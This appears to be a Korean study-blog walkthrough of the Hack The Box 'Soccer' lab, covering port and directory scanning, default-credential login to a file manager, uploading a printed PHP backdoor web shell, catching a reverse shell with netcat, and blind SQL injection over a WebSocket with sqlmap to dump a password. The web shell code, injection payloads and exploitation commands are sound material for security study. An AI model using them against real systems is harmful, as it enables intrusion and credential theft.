┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ sudo nmap -sS -sC -sV -oN nmap 10.10.11.194
[sudo] user 암호:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 14:05 KST
Nmap scan report for 10.10.11.194
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
|
<생략>
9091 포트 api 형식???
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ sudo vi /etc/hosts
#soccer.htb 도메인을 /etc/hosts에 추가가
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ feroxbuster -u http://soccer.htb -t 300
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://soccer.htb
🚀 Threads │ 300
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 494l 1440w 96128c http://soccer.htb/ground3.jpg
200 GET 711l 4253w 403502c http://soccer.htb/ground2.jpg
200 GET 2232l 4070w 223875c http://soccer.htb/ground4.jpg
200 GET 809l 5093w 490253c http://soccer.htb/ground1.jpg
200 GET 147l 526w 6917c http://soccer.htb/
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301 GET 7l 12w 178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 29s 90021/90021 0s found:7 errors:0
[####################] - 21s 30000/30000 1445/s http://soccer.htb/
[####################] - 19s 30000/30000 1551/s http://soccer.htb/tiny/
[####################] - 19s 30000/30000 1561/s http://soccer.htb/tiny/uploads/
tiny 사이트에 접속하여서 이 사이트가 상용 사이트인지 판단
판단 후 default credit이 있는지 확인
default credential: admin/admin@123, user/ 12345
로그인이 됨
파일들을 살펴보다가 파일이 업로드 되는지 확인해보기
-쓰는 것이 불가능 하다고 나옴
tiny폴더에 들어가도 쓰는 것이 불가능
upload 폴더를 확인
정상적으로 업로드 되는 것을 확인할 수 있다.
Destination Folder: /var/www/html/tiny/uploads
친절하게 파일의 디렉토리까지 알려준다.
옳바르게 php파일이 실행되는 것을 확인할 수 있었다.
그렇다면 웹셸을 얻어 리버스 셸을 실행해보도록 하자
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ cp /usr/share/webshells/php/simple-backdoor.php cmd.php
# 웹 셸 백도어 명령어 복사
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ cat cmd.php
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.194] 38578
bash: cannot set terminal process group (1049): Inappropriate ioctl for device
bash: no job control in this shell
#
www-data@soccer:~/html/tiny/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@soccer:~/html/tiny/uploads$ ^Z
zsh: suspended nc -nlvp 443
#
┌──(user㉿kali)-[~/문서/easy/SOCCER]
└─$ stty raw -echo; fg
[1] + continued nc -nlvp 443
www-data@soccer:~/html/tiny/uploads$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<생략>
player:x:1001:1001::/home/player:/bin/bash
<생략>
다른 정보를 얻기 위해 디렉토리들과 파일들을 찾아서 헤메이다가 서브 이렉토리가 있다는 것을 확인했음
www-data@soccer:~/html$ cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
새로운 사이트 발견
접속 후 정상적인 값으로 로그인
상용 사이트는 아닌 것으로 생각됨
인증 우회를 시도해 보았지만 되지 않음
정상적으로 인증 후 로그인을 하면 티켓 id를 입력할 수 있는 곳이 나온다.
입력할 때 버프상으로 인터셉을 하면 이 웹사이트는 아까 알 수 없었던 9091포트로 작동하고 있고
ws 즉 [[웹소켓]]으로 작동하고 있음을 파악할 수 있다.
리피터로 보내서 이 티켓 id 가 데이터 베이스를 거쳐서 오는 것인지 확인하기 위하여 연산자를 넣어 보았고 그 결과 연산자를 처리하는 것을 확인하였고 옳바른 값으로 인식하는 것을 확인하였다.
하지만 결과 값을 반환하는 것을 확인하지는 못하는 모습에서 블라인드?로 검사 해야하나 생각하였다.
sqlmap을 실행하였다.
┌──(user㉿kali)-[~]
└─$ python3 -m venv myenv
┌──(user㉿kali)-[~]
└─$ source myenv/bin/activate
┌──(myenv)─(user㉿kali)-[~]
└─$ pip install websocket-client
Collecting websocket-client
Downloading websocket_client-1.8.0-py3-none-any.whl.metadata (8.0 kB)
Downloading websocket_client-1.8.0-py3-none-any.whl (58 kB)
Installing collected packages: websocket-client
Successfully installed websocket-client-1.8.0
┌──(myenv)─(user㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --dbms=mysql --level 5 --risk 3 --data '{"id":"1234"}' --batch --thread 5
<생략>
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-3286 OR 3443=3443"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1234 AND (SELECT 1152 FROM (SELECT(SLEEP(5)))bvsB)"}
---
[15:58:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:58:27] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 15:58:27 /2025-02-05/
┌──(myenv)─(kyutae㉿kali)-[~/htb/easy/soccer]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --dbms=mysql --level 5 --risk 3 --data '{"id":"1234"}' --batch --thread 5 --technique B --dbs --dump
___
__H__
___ ___[)]_____ ___ ___ {1.9#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:33:32 /2025-02-14/
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[15:33:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-1592 OR 1225=1225"}
---
<생략>
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
아이디와 비밀번호를 찾았다.
┌──(myenv)─(kyutae㉿kali)-[~/htb/easy/soccer]
└─$ ssh player@soc-player.soccer.htb
<생략>
player@soccer:~$
접속 성공
'전산공학 공부 > hack the box' 카테고리의 다른 글
| htb - inject (easy) (0) | 2025.02.13 |
|---|